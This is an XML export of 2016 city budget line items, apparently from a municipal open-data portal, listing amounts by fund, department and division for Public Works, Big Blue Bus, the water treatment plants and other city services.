<row _id="21285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY HAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="21286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7500</total></row>
<row _id="21287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544490.0</object><object_description>PRINT SHOP PRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510</total></row>
<row _id="21288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>800000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800000</total></row>
<row _id="21289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8578</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8578</total></row>
<row _id="21290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>226133</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>226133</total></row>
<row _id="21291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6123</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6123</total></row>
<row _id="21292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1257158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1257158</total></row>
<row _id="21293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>35120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35120</total></row>
<row _id="21294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>450286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450286</total></row>
<row _id="21295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3093</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3093</total></row>
<row _id="21296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>42959</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42959</total></row>
<row _id="21297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="21298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5112</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5112</total></row>
<row _id="21299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1457</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1457</total></row>
<row _id="21300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>201408</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>201408</total></row>
<row _id="21301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>914305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>914305</total></row>
<row _id="21302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-120000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-120000</total></row>
<row _id="21303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400610.0</object><object_description>USE OF PUBLIC PROPERTY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-537165</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-537165</total></row>
<row _id="21304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3612</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3612</total></row>
<row _id="21306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18800</total></row>
<row _id="21307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600495</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600495</total></row>
<row _id="21308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544013.0</object><object_description>CARTRIDGE FILTER REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56064</total></row>
<row _id="21309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>127095</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>127095</total></row>
<row _id="21310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>374849</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>374849</total></row>
<row _id="21311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>625</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>625</total></row>
<row _id="21312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3169</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3169</total></row>
<row _id="21313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555016.0</object><object_description>OUTSIDE REPAIRS-HZRDOUS WASTE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>87203</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>87203</total></row>
<row _id="21314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4410</total></row>
<row _id="21315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CIVIC AUDITORIU</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544016.0</object><object_description>ANALYTICAL INSTR CONSUMABLES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
<row _id="21318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>341603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>341603</total></row>
<row _id="21319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400613.0</object><object_description>NEWSRACK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18000</total></row>
<row _id="21320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>440</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>440</total></row>
<row _id="21322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21712</total></row>
<row _id="21323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555430.0</object><object_description>WASTE DISPOSAL (BRINING)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>59491</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59491</total></row>
<row _id="21324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12579</total></row>
<row _id="21325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6305</total></row>
<row _id="21326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404690.0</object><object_description>415 PCH - PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-460000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-460000</total></row>
<row _id="21328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402240.0</object><object_description>AIRPORT - EVENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-65416</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-65416</total></row>
<row _id="21329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>566500.0</object><object_description>RECRUITMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20910</total></row>
<row _id="21331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>402970.0</object><object_description>SAMOHI TRACK RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-2300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2300</total></row>
<row _id="21332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>877</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>877</total></row>
<row _id="21333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6300</total></row>
<row _id="21334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561506.0</object><object_description>HOMELESS PREVENTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
